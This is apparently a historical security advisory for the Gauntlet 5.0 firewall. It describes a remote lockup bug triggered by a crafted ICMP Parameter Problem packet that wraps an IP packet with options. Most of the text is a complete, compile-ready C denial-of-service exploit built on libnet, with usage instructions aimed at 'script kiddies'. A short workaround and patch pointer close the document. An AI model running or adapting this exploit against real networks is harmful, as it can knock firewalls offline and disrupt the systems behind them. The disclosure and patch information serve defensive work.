Vulnerability
Gauntlet
Affected
Gauntlet 5.0
Description
Mike Frantzen found following. It's code that locks up Gauntlet
5.0. If you know an IP that will be routed through a Gauntlet 5.0
Firewall, you can remotely lock up the firewall (tested against
Solaris 2.6 and BSDI). It locks up to the point that one packet
will disable STOP-A (L1-A) on Sparcs and ~3-5 packets will
disable Ctrl-Alt-Del on BSDI (Ctrl-Alt-Del still prompts Y/N but
it never reboots).
You can NOT send this to the Gauntlet's IP. The packet must be
one that would go through the forwarding code.
If you are on local ether to the firewall, set it as your default
route or otherwise send the packet to the firewall's MAC. The
packet is parsed before the packet filtering rules in Gauntlet.
So the only known work-around is to ACL out ICMP type 12 at your
screening router. Or you could switch to Gauntlet 5.5 which (in
the beta) does not seem to be vulnerable -- but 5.5 introduces
some new 'issues'.
The packet is an ICMP Paramater Problem packet that encapsulates
an IP packet with IP Options. There is a random protocol in the
encapsulated IP packet. The trick is: the inner packet MUST have
IP Options. Some options work, some don't. The firewall
apparently is looking for the packet (or an entry in its
transparency table) that matches the encapsulated packet. It just
keeps looking.... It likely has interrupts masked off on Solaris.
Code follows:
/*
* Discovered and written by: <godot@msg.net> <- Send money to :-)
* aka Mike Frantzen <frantzen@expert.cc.purdue.edu> <- Reply to
*
* Network Associates: "Who's watching your network?"
* MSG.net "Who's watching the watchers?"
*
* This can be found online at http://www.msg.net/firewalls/tis/bland.c
*
*
* You need libnet to link this against. It's a pretty spiffy lib.
* http://www.infonexus.com/~daemon9/Projects/Libnet
* http://www.packetfactory.net/libnet
*
*
* For da script kiddies:
* Compile with 'gcc -o bland bland.c -lnet'
* ./bland -d <ip through the firewall>
* (Did you remember to install Libnet???)
*
*
* If it doesn't compile on your machine: I DON'T CARE!!! This program was
* a quick and dirty hack. You try reading a hexdump of a packet off the
* wire and writing something that can reproduce it.
* I know it compiles and works from FreeBSD 3.1
*
*
*
* Plugs:
* ISIC -- Program I used (and wrote) to find bugs in Gauntlet's IP stack.
* http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz
* Libnet -- Was able to write the basic exploit in 20 minutes because of
* libnet. See libnet link above. Thanks go out to Route!
*
*
* Credits:
* Mike Frantzen <frantzen@expert.cc.purdue.edu> Hey, thats me!
* Mike Scher <strange@cultural.com>
* Kevin Kadow <kadokev@msg.net> <- Gauntlet Random Seed Hole
* Lenard Lynch <llynch@tribune.com>
* Viki Navratilova <vn@msg.net>
*/
#include <libnet.h>
int main(int argc, char **argv)
{
u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0;
u_long *problem = NULL;
u_char *packet = NULL;
int sock, c, len = 0;
long acx, count = 1;
struct icmp *icmp;
struct ip *ip;
/* It appears that most IP options of length >0 will work
* Works with 128, 64, 32, 16... And the normal ones 137...
* Does not work with 0, 1 */
u_char data[] = {137};
int data_len = sizeof(data);
printf("Written by Mike Frantzen... <godot@msg.net>\n");
printf("For test purposes only... yada yada yada...\n");
src_ip = inet_addr("10.10.10.10");
while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) {
switch(c) {
case 'd': dst_ip = libnet_name_resolve(optarg, 1);
break;
case 's': src_ip = libnet_name_resolve(optarg, 1);
break;
case 'D': ins_dst_ip = name_resolve(optarg, 1);
break;
case 'S': ins_src_ip = name_resolve(optarg, 1);
break;
case 'l': data_len = atoi(optarg);
break;
case 'c': if ( (count = atol(optarg)) < 1)
count = 1;
break;
default: printf("Don't understand option.\n");
exit(-1);
}
}
if ( dst_ip == 0 ) {
printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n",
rindex(argv[0], '/') == NULL ? argv[0]
: rindex(argv[0], '/') + 1);
printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n");
printf("\t\t[-l <data length>]\t[-c <# to send>]\n");
exit(-1);
}
if ( ins_dst_ip == 0 )
ins_dst_ip = src_ip;
if ( ins_src_ip == 0 )
ins_src_ip = dst_ip;
if ( (packet = malloc(1500)) == NULL ) {
perror("malloc: ");
exit(-1);
}
if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) {
perror("socket: ");
exit(-1);
}
/* 8 is the length of the ICMP header with the problem field */
len = 8 + IP_H + data_len;
bzero(packet + IP_H, len);
libnet_build_ip(len, /* Size of the payload */
0xc2, /* IP tos */
30241, /* IP ID */
0, /* Frag Offset & Flags */
64, /* TTL */
IPPROTO_ICMP, /* Transport protocol */
src_ip, /* Source IP */
dst_ip, /* Destination IP */
NULL, /* Pointer to payload */
0,
packet); /* Packet memory */
/* ICMP Header for Parameter Problem
* --------------+---------------+---------------+---------------
*| Type (12) | Code (0) | Checksum |
* --------------+---------------+---------------+---------------
*| Pointer | unused |
* --------------+---------------+---------------+---------------
* Internet Header + 64 bits of original datagram data....
*/
icmp = (struct icmp *) (packet + IP_H);
problem = (u_long *) (packet + IP_H + 4); /* 4 = ICMP header */
icmp->icmp_type = ICMP_PARAMPROB;
icmp->icmp_code = 0; /* Indicates a problem pointer */
*problem = htonl(0x14000000); /* Problem is 20 bytes into it */
/* Need to embed an IP packet within the ICMP */
ip = (struct ip *) (packet + IP_H + 8); /* 8 = icmp header */
ip->ip_v = 0x4; /* IPV4 */
ip->ip_hl = 0xf; /* Some IP Options */
ip->ip_tos = 0xa3; /* Whatever */
ip->ip_len = htons(data_len); /* Length of packet */
ip->ip_id = 30241; /* Whatever */
ip->ip_off = 0; /* No frag's */
ip->ip_ttl = 32; /* Whatever */
ip->ip_p = 98; /* Random protocol */
ip->ip_sum = 0; /* Will calc later */
ip->ip_src.s_addr = ins_src_ip;
ip->ip_dst.s_addr = ins_dst_ip;
/* Move our data block into the packet */
bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len);
/* I hate checksuming. Spent a day trying to get it to work in
* perl... That sucked... Tequilla would have helped immensly.
*/
libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len);
/* Bah... See above comment.... */
libnet_do_checksum(packet, IPPROTO_ICMP, len);
printf("Sending %li packets", count);
for (acx = 0; acx < count; acx++) {
if( libnet_write_ip(sock, packet, len + IP_H) < (len + IP_H))
perror("write_ip: ");
else printf(".");
}
printf("\n\n");
return( 0 );
}
Solution
Network Associates released a patch for the problem. It can be
found at
ftp://ftp.tis.com/gauntlet/patches/5.0
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